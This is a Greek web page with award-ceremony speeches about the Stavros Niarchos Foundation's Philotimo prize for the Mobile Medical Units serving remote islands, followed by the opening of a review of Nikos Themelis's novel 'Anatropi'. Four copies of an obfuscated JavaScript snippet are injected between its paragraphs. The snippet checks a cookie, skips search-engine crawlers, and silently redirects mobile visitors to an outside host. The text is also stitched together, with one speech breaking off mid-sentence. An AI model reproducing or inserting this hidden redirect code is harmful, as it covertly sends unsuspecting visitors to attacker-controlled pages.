αναγνωρίζει τη σημασία τους – την στρατηγική, οικονομική και γεωγραφική– ενώ
γνωρίζει επίσης ότι τα περισσότερα νησιά παραμένουν απομονωμένα, παραμελημένα και
εγκαταλειμμένα από την Ελληνική Πολιτεία. Πολλά από αυτά επιβιώνουν με βάση τους
δικούς τους πόρους, όσο ανεπαρκείς κι αν είναι αυτοί. Σε πολλά από αυτά τα μέρη, το να
είσαι κάτοικος συνεπάγεται μία μοναχική και επικίνδυνη ζωή. Σχολιάζοντας αυτή την
κατάσταση, θα μπορούσε κανείς να πει ότι οι Έλληνες δεν έχουν φιλότιμο όταν πρόκειται
για την αντιμετώπιση των αναγκών αυτών των νησιών και για την φροντίδα των
κατοίκων τους.
Για αυτόν ακριβώς το λόγο, ο πρώτο αποδέκτης του Ετήσιου Βραβείου του ΙΣΝ για το
Φιλότιμο, είναι οι Κινητές Ιατρικές Μονάδες. Υπό την καθοδήγηση και την ηγεσία του Δρ.
Παναγιώτη Κουλουβάρη, ο οποίος θα μας περιγράψει το πρόγραμμα με περισσότερες

λεπτομέρειες, και με την υποστήριξη του Ιδρύματος Σταύρος Νιάρχος, μία εξαιρετική
ομάδα εθελοντών (γιατροί και βοηθοί) παρείχαν δωρεάν, ολοκληρωμένες υπηρεσίες
υγειονομικής περίθαλψης σε χιλιάδες κατοίκους, σε ορισμένα από τα πιο απομακρυσμένα
και παραμελημένα νησιά στην Ελλάδα. Οι δράσεις τους, που έχουν ως γνώμονα το κοινό
καλό, εξακολουθούν να αποτελούν υπόδειγμα της έννοιας του «φιλότιμου» στην πράξη,
ιδίως κατά τη διάρκεια της τρέχουσας περιόδου που είναι τόσο κρίσιμη για την ελληνική
κοινωνία.
Έχω την τιμή και την ευχαρίστηση να απονείμω στον Δρ. Κουλουβάρη και σε όλους τους
συναδέλφους του στις Κινητές Ιατρικές Μονάδες, το Πρώτο Ετήσιο Βραβείο του ΙΣΝ για το
Φιλότιμο, και να τους συγχαρώ για την σκληρή δουλειά και την προσπάθειά τους, που
στέλνει ένα ισχυρό μήνυμα σχετικά με την κοινωνική συνοχή και την ευθύνη προς τους
συμπολίτες μας. Από μέρους μας, ανυπομονούμε να συνεχίσουμε να επιλέγουμε τους
νικητές αυτού του βραβείου σε ετήσια βάση για άλλες υποδειγματικές δράσεις που
εκφράζουν την έννοια του «φιλότιμου».
Ένα από τα αγαπημένα ρητά του Εμμανουήλ Κριαρά, του σύγχρονου Έλληνα φιλοσόφου
που γεννήθηκε το 1906 και απεβίωσε φέτος το καλοκαίρι στη νεαρή ηλικία των 108 ετών,
ήταν ότι μπορείς να πετύχεις την αληθινή αγάπη μόνο επιζητώντας διαρκώς τα ιδανικά
σου. Κλείνοντας, καλώ λοιπόν όλους σας να συνεχίσετε να αγαπάτε, να αναζητάτε τα
προσωπικά σας ιδανικά, να κάνετε ό,τι καλύτερο μπορείτε προκειμένου να βοηθήσετε
αυτούς που στάθηκαν λιγότερο τυχεροί από εσάς.
Σας ευχαριστώ θερμά!var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Ομιλία Δρ. Παναγιώτη Κουλουβάρη ο οποίος παρέλαβε το 1ο Ετήσιο Βραβείο του ΙΣΝ για το Φιλότιμο εκ μέρους των Κινητών Ιατρικών Μονάδων

Διακεκριμένοι καλεσμένοι, κυρίες και κύριοι,
Εκ μέρους ολόκληρης της ομάδας των Κινητών Ιατρικών Μονάδων, θα ήθελα να σας
ευχαριστήσω που μας δώσατε την ευκαιρία να παραστoύμε στην αποψινή και
ιδιαίτερη αυτή εκδήλωση. Είναι μεγάλη τιμή για εμάς να στεκόμαστε μπροστά σας
απόψε, ως οι πρώτοι αποδέκτες του πολύ σημαντικού αυτού βραβείου, του Πρώτο
Ετήσιου Βραβείου του Ιδρύματος Σταύρος Νιάρχος για το Φιλότιμο. Η σημερινή
βραδιά δεν πρόκειται για άλλη μία τυπική εορταστική εκδήλωση. Το Washington
OXI Day Foundation έχει τιμήσει πολλά εξαιρετικά πρόσωπα και νιώθουμε βαθιά
συγκίνηση και τιμή που βρισκόμαστε ανάμεσά τους.
Η ομάδα μας αποτελείται από 51 γιατρούς και διδάκτορες των επιστημών. Με την
ολοκλήρωση των σύντομων σχολίων μου, θα σας δείξουμε ένα μικρό βίντεο για να
γνωρίσετε την ομάδα και το έργο μας. Παρακαλώ επιτρέψτε μου να σας συστήσω
τρία μέλη της ομάδας μας που βρίσκονται εδώ μαζί μου απόψε: τον Γυναικολόγο,
Δρ. Μπομπότη, την Επισκέπτρια Υγείας, κυρία Βλάσση, και τη Νοσηλεύτρια
Πρωτοβάθμιας Φροντίδας Υγείας, κυρία Μπέλτσιου.
Η λήψη του βραβείου ήταν για εμάς μεγάλη έκπληξη, διότι πιστεύουμε ότι δεν
έχουμε κάνει τίποτα παραπάνω από το καθήκον μας. Αυτό, βέβαια, είναι τελικά και
η έννοια του Φιλότιμου: μια φυσική, βαθιά ριζωμένη αίσθηση καθήκοντος.
Θα ήθελα να μοιραστώ μαζί σας μερικά λόγια για το Φιλότιμο.
Υπάρχει κάτι μαγικό, κάποιο ιδιαίτερο συναίσθημα στο Φιλότιμο.
Υπάρχει κάτι περισσότερο, που δεν έχει όνομα. Αυτό το μυστήριο μας κάνει
Έλληνες.
Το Φιλότιμο κάνει τον Έλληνα να στέκεται στο ύψος του, περήφανος.

Το Φιλότιμο είναι η πιο σπουδαία πράξη που κάνει ο καθένας μας σε ολόκληρη τη
ζωή του.
Είναι αλήθεια ότι η πατρίδα μας, η Ελλάδα, αντιμετωπίζει πολλές δυσκολίες.
Εκτός του ότι έχουμε το υψηλότερο ποσοστό ανεργίας στην Ευρώπη, πολλοί
συνεχίζουν να πιστεύουν ότι δε μας αξίζει τίποτα καλύτερο, διότι ήμασταν το
κακομαθημένο παιδί της Ευρώπης, εκείνο που πρέπει να τιμωρηθεί για την κακή
του συμπεριφορά. Φαίνεται πως η Ευρώπη δε μας εμπιστεύεται πια, και η απώλεια
της εμπιστοσύνης της μας έχει οδηγήσει σε έλλειψη αυτοπεποίθησης, παρ’ ότι οι
περισσότεροι άνθρωποι της χώρας δεν ευθύνονται για την τρέχουσα κατάσταση.
Κυρίες και Κύριοι,
Εκ μέρους της ομάδας μας, θα ήθελα να υπογραμμίσω ότι κάνουμε κάθε
προσπάθεια για να αποδείξουμε σε όλους ότι μπορούμε να ξεπεράσουμε τις

Τον Ιανουάριο του 2011, το Ίδρυμα Σταύρος Νιάρχος ανακοίνωσε την ανακαίνιση
των παιδιατρικών μονάδων εντατικής θεραπείας στην Ελλάδα. Αυτή ήταν η στιγμή
που ενέπνευσε το Φιλότιμό μας. Συνειδητοποιήσαμε τότε ότι μπορούσαμε να
κάνουμε περισσότερα. Με τη γενναιόδωρη στήριξη του ΙΣΝ, δημιουργήθηκαν δύο
υπερσύγχρονες κινητές ιατρικές μονάδες. Θα έλεγα, μάλιστα, δύο υπερσύγχρονα
κινητά νοσοκομεία. Από εκείνη τη στιγμή και έπειτα, κάθε έξι εβδομάδες κλείνουμε
τα γραφεία μας και ταξιδεύουμε σε ένα από τα απομακρυσμένα νησιά, όπου
φροντίζουμε όλους τους ασθενείς δωρεάν. Πραγματοποιούμε μικροεπεμβάσεις και,
σε περίπτωση που οι ασθενείς χρειάζονται πιο εξειδικευμένες επεμβάσεις, τους
παραπέμπουμε στο Πανεπιστημιακό Νοσοκομείο Αθηνών, υπό την επίβλεψή μας.
Τέλος, μέσα από την εμπειρία μας με τις Κινητές Ιατρικές Μονάδες, προέκυψαν
περισσότερες ανάγκες για τα παιδιά. Έτσι ξεκινήσαμε να δημιουργούμε ομάδες για
την κάλυψη των αναγκών αυτών των παιδιών που ζουν σε απομακρυσμένα νησιά.
Αυτή τη στιγμή, βρισκόμαστε στη διαδικασία οργάνωσης μίας ομάδας που θα
δημιουργήσει ένα ηλεκτρονικό δίκτυο για παιδιά με πρώιμες μαθησιακές δυσκολίες
και θα παρέχει κατάρτιση για τους δασκάλους. Επιπλέον, το φετινό καλοκαίρι θα
δημιουργήσουμε μία ομάδα που θα εκπαιδεύσει 100 δασκάλους γυμναστικής για
να αναλάβουν τη λειτουργία μιας αθλητικής κατασκήνωσης για παιδιά, με στόχο
την ανάπτυξη των νέων μέσω του αθλητισμού.
Στις δύσκολες αυτές ημέρες, είμαστε πολύ τυχεροί που μπορούμε να
επωφεληθούμε από το έργο του Ιδρύματος Σταύρος Νιάρχος. Η φιλανθρωπική του
δράση, που διακρίνεται πάντα από υψηλό επίπεδο επαγγελματισμού, έχει
διαδραματίσει σημαντικό και κρίσιμο ρόλο στη στήριξη της πατρίδας μας ώστε να
περάσει στη φάση της ανάκαμψης.
Τελευταίο, αλλά πολύ σημαντικό: το ΙΣΝ μας κάνει να νιώθουμε περήφανοι και
αξιοπρεπείς.
Θα ήθελα τώρα να μοιραστώ μαζί σας ένα σύντομο βίντεο για το έργο μας στα
απομακρυσμένα αυτά νησιά.var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

«Ανατροπή» Ν. Θέμελης, κριτική.

“Ανατροπή” , Νίκος Θέμελης.

΄

Είχα κάποιους ενδοιασμούς όταν ξεκίνησα να γράφω την κριτική για το μυθιστόρημα του Ν. Θέμελη. Πως κριτικάρει κανείς το έργο ενός νεκρού που δεν μπορεί να το υπερασπιστεί; Υπάρχουν αρνητικές κριτικές σήμερα ; Όλοι γράφουν τα καλύτερα λόγια για τα βιβλία που διαβάζουν.

Δεν είμαι επαγγελματίας του γραπτού λόγου. Δεν με δεσμεύει κανείς γι’ αυτά που θα πω. Αναρωτιέμαι όμως -πέρα από το ίδιο το βιβλίο- τι εξυπηρετεί ένα κρατικό βραβείο λογοτεχνίας; Αξίζει αυτό το βιβλίο το κρατικό βραβείο;

Το βασικό λάθος του φαίνεται ξεκάθαρα προς τις τελευταίες σελίδες του. Η Ελένη η πρωταγωνίστρια του έργου , ενώ στα νιάτα της διακηρύσσει την γυναικεία απελευθέρωση, μεγαλώνοντας μετατρέπεται σε μια συντηρητική γυναίκα που περιμένει να φύγει όλη η οικογένεια από την Οδησσό για να συναντήσει τον αγαπημένο της επαναστάτη , τον Κόλια και να κάνει έρωτα μαζί του. Δηλαδή έχουμε μια εντύπωση γυναικείας απελευθέρωσης χωρίς να θίξουμε το μικροαστισμό μας. Είναι πιο εύκολο να συναντήσει μια γυναίκα τον απαγορευμένο της έρωτα ανάμεσα σε σφαίρες και διαδηλώσεις, παρά ανάμεσα στους οικείους της. Το θέμα είναι ο προσωπικός Γολγοθάς της σε σχέση πάντα με τον συντηρητισμό που της έχουν εμφυτεύσει από παιδί ακόμη. Μιλώντας για την Ελένη λοιπόν , την πρωταγωνίστρια της “Ανατροπής” έχω να πω πως οι φεμινίστριες δεν γίνονται αλληλογραφώντας με την Καλλιρρόη 